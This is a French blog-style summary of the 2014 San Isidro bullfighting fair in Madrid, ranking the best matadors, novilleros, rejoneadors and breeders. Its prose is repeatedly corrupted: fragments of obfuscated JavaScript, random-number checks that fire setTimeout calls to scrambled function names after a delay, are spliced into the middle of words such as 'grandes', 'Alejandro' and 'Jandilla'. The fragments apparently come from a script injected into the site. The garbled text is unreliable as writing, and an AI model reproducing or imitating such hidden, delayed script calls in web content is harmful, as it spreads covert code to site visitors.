FERIA DE SAN ISIDRO. CONCLUSION. CE FURENT LES MEILLEURS.

Depuis quelques années les toreros viennent à la San Isidro pour toréer et-ou mourir. Heureusement, malgré leur don de soi, ils n’y parviennent pas. Mais par contre certains arrivent à toréer.

Il faut préciser qu’il est très difficile de le faire avec le toro de Madrid. Presque toujours immense et avec des très grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes cornes. Il n’est pas choisi ni pour ses origines ni par sa morphologie propre à l’élevage. Et cependant, certains chargent.

Fêtons-le: presque jamais bien, mais ils chargent.

Les novilleros, peu expérimentés, se retrouvent confrontés à des novilladas qui sont au fait des corridas de toros. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ils triomphent leur carrière est lancée. Ce qui arriva un jour à Perera et à Talavante. Mais cette année ce ne fut pas le cas.

Et les réjoneadors triomphent tout le temps, à moins qu’ils n’échouent à la mise à mort.

Malgré tout, cette feria de San Isidro 2014 a été une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande feria.

Ce que hiérarchise la mémoire

La mémoire est un bon juge. Ce qu’elle oublie mérite d’être oublié. Elle ne garde que le meilleur. Ainsi, je lui obéis:

Matadors de toros

Le meilleur fut Miguel Ángel Perera. Sensationnel devant ceux de Victoriano del Río et ceux d’Adolfo Martín. Sa feria fut à la hauteur de celles de José Tomás en 1999, de Joselito en 1996 et de César Rincón en 1991.

Avec différents résultats mention très bien à Daniel Luque, Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante, Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño, Miguel Abellán, Juan del Álamo, Alberto Aguilar et El Juli.

Mention bien à Antonio Ferrera, Diego Urdiales et Uceda Leal.

Novilleros

Francisco José Espada, José Garrido, Lama de Góngora et Román m’ont plu.

Rejoneadors

Le meilleur fut Pablo Hermoso de Mendoza. Il réalisa ses meilleures faenas à Madrid et presenta une nouvelle suerte de sa création, la “hermosina”.

Les toros

Les meilleures ganaderías furent celles de Parladé et de Puerto de San Lorenzo.

Se distinguèrent, Victoriano del Río, Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla, Fuente Ymbro, Juan Pedro Domecq, Adolfo Martín et Miura.

Les novillos

Le meilleur élevage, El Montecillo.

Les toros pour le rejoneo

Le meilleur élevage, Maria Guiomar Cortes de Moura.

Le pire

Le vent, qui frappa les arènes de Las Ventas tous les après-midi.

fotos Taurodelta

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